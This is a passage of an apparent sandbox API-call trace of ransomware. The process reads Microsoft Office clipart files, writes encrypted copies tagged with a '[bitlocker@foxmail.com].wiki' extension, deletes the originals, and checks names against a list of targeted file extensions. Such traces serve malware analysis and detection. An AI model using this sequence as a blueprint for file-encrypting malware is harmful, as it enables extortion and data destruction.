lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.561] SetEndOfFile (hFile=0x1e0) returned 1 [0188.561] CloseHandle (hObject=0x1e0) returned 1 [0188.561] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.561] SetEndOfFile (hFile=0x1d0) returned 1 [0188.562] CloseHandle (hObject=0x1d0) returned 1 [0188.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0188.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.562] lstrlenW (lpString=".doc") returned 4 [0188.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.562] lstrlenW (lpString=".docx") returned 5 [0188.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.562] lstrlenW (lpString=".pdf") returned 4 [0188.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.562] lstrlenW (lpString=".xls") returned 4 [0188.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.562] lstrlenW (lpString=".xlsx") returned 5 [0188.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.562] lstrlenW (lpString=".ppt") returned 4 [0188.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.562] lstrlenW (lpString=".zip") returned 4 [0188.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.563] lstrlenW (lpString=".rar") returned 4 [0188.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.563] lstrlenW (lpString=".bz2") returned 4 [0188.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.563] lstrlenW (lpString=".7z") returned 3 [0188.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.563] lstrlenW (lpString=".dbf") returned 4 [0188.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.563] lstrlenW (lpString=".1cd") returned 4 [0188.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.563] lstrlenW (lpString=".jpg") returned 4 [0188.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.563] lstrlenW (lpString=".doc") returned 4 [0188.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.563] lstrlenW (lpString=".docx") returned 5 [0188.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.563] lstrlenW (lpString=".pdf") returned 4 [0188.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.563] lstrlenW (lpString=".xls") returned 4 [0188.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.563] lstrlenW (lpString=".xlsx") returned 5 [0188.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.563] lstrlenW (lpString=".ppt") returned 4 [0188.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.564] lstrlenW (lpString=".zip") returned 4 [0188.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.564] lstrlenW (lpString=".rar") returned 4 [0188.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.564] lstrlenW (lpString=".bz2") returned 4 [0188.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.564] lstrlenW (lpString=".7z") returned 3 [0188.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.564] lstrlenW (lpString=".dbf") returned 4 [0188.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.564] lstrlenW (lpString=".1cd") returned 4 [0188.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0188.564] lstrlenW (lpString=".jpg") returned 4 [0188.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.564] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.564] lstrlenW (lpString="FD00361_.WMF") returned 12 [0188.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.565] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4074) returned 1 [0188.565] CloseHandle (hObject=0x1d0) returned 1 [0188.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0188.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.565] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.565] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.566] GetLastError () returned 0x0 [0188.566] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xfea, lpOverlapped=0x0) returned 1 [0188.567] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xff0, lpOverlapped=0x0) returned 1 [0188.568] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.568] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.568] SetEndOfFile (hFile=0x1e0) returned 1 [0188.568] CloseHandle (hObject=0x1e0) returned 1 [0188.568] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.568] SetEndOfFile (hFile=0x1d0) returned 1 [0188.569] CloseHandle (hObject=0x1d0) returned 1 [0188.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0188.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.569] lstrlenW (lpString=".doc") returned 4 [0188.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.570] lstrlenW (lpString=".docx") returned 5 [0188.570] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.570] lstrlenW (lpString=".pdf") returned 4 [0188.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.570] lstrlenW (lpString=".xls") returned 4 [0188.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.570] lstrlenW (lpString=".xlsx") returned 5 [0188.570] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.570] lstrlenW (lpString=".ppt") returned 4 [0188.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.570] lstrlenW (lpString=".zip") returned 4 [0188.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.570] lstrlenW (lpString=".rar") returned 4 [0188.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.570] lstrlenW (lpString=".bz2") returned 4 [0188.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.570] lstrlenW (lpString=".7z") returned 3 [0188.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.570] lstrlenW (lpString=".dbf") returned 4 [0188.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.570] lstrlenW (lpString=".1cd") returned 4 [0188.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.570] lstrlenW (lpString=".jpg") returned 4 [0188.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.570] lstrlenW (lpString=".doc") returned 4 [0188.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.570] lstrlenW (lpString=".docx") returned 5 [0188.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.571] lstrlenW (lpString=".pdf") returned 4 [0188.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.571] lstrlenW (lpString=".xls") returned 4 [0188.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.571] lstrlenW (lpString=".xlsx") returned 5 [0188.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.571] lstrlenW (lpString=".ppt") returned 4 [0188.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.571] lstrlenW (lpString=".zip") returned 4 [0188.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.571] lstrlenW (lpString=".rar") returned 4 [0188.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.571] lstrlenW (lpString=".bz2") returned 4 [0188.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.571] lstrlenW (lpString=".7z") returned 3 [0188.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.571] lstrlenW (lpString=".dbf") returned 4 [0188.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.571] lstrlenW (lpString=".1cd") returned 4 [0188.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0188.571] lstrlenW (lpString=".jpg") returned 4 [0188.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.571] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.572] lstrlenW (lpString="FD00369_.WMF") returned 12 [0188.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.572] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8552) returned 1 [0188.572] CloseHandle (hObject=0x1d0) returned 1 [0188.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 [0188.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.572] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.572] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.573] GetLastError () returned 0x0 [0188.573] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2168, lpOverlapped=0x0) returned 1 [0188.574] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2170, lpOverlapped=0x0) returned 1 [0188.575] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.575] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.575] SetEndOfFile (hFile=0x1e0) returned 1 [0188.576] CloseHandle (hObject=0x1e0) returned 1 [0188.576] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.576] SetEndOfFile (hFile=0x1d0) returned 1 [0188.576] CloseHandle (hObject=0x1d0) returned 1 [0188.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0188.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.577] lstrlenW (lpString=".doc") returned 4 [0188.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.577] lstrlenW (lpString=".docx") returned 5 [0188.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.577] lstrlenW (lpString=".pdf") returned 4 [0188.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.577] lstrlenW (lpString=".xls") returned 4 [0188.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.577] lstrlenW (lpString=".xlsx") returned 5 [0188.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.577] lstrlenW (lpString=".ppt") returned 4 [0188.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.577] lstrlenW (lpString=".zip") returned 4 [0188.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.577] lstrlenW (lpString=".rar") returned 4 [0188.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.577] lstrlenW (lpString=".bz2") returned 4 [0188.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.577] lstrlenW (lpString=".7z") returned 3 [0188.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.577] lstrlenW (lpString=".dbf") returned 4 [0188.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.578] lstrlenW (lpString=".1cd") returned 4 [0188.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.578] lstrlenW (lpString=".jpg") returned 4 [0188.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.578] lstrlenW (lpString=".doc") returned 4 [0188.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.578] lstrlenW (lpString=".docx") returned 5 [0188.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.578] lstrlenW (lpString=".pdf") returned 4 [0188.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.578] lstrlenW (lpString=".xls") returned 4 [0188.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.578] lstrlenW (lpString=".xlsx") returned 5 [0188.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.578] lstrlenW (lpString=".ppt") returned 4 [0188.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.578] lstrlenW (lpString=".zip") returned 4 [0188.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.578] lstrlenW (lpString=".rar") returned 4 [0188.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.578] lstrlenW (lpString=".bz2") returned 4 [0188.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.578] lstrlenW (lpString=".7z") returned 3 [0188.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.578] lstrlenW (lpString=".dbf") returned 4 [0188.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.579] lstrlenW (lpString=".1cd") returned 4 [0188.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0188.579] lstrlenW (lpString=".jpg") returned 4 [0188.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.579] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.579] lstrlenW (lpString="FD00382_.WMF") returned 12 [0188.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.579] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8424) returned 1 [0188.579] CloseHandle (hObject=0x1d0) returned 1 [0188.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0188.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.580] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.580] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.580] GetLastError () returned 0x0 [0188.580] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x20e8, lpOverlapped=0x0) returned 1 [0188.582] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x20f0, lpOverlapped=0x0) returned 1 [0188.583] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.583] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.583] SetEndOfFile (hFile=0x1e0) returned 1 [0188.583] CloseHandle (hObject=0x1e0) returned 1 [0188.583] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.583] SetEndOfFile (hFile=0x1d0) returned 1 [0188.584] CloseHandle (hObject=0x1d0) returned 1 [0188.584] SetFileAttributesW (lpFileName="C:\\Program 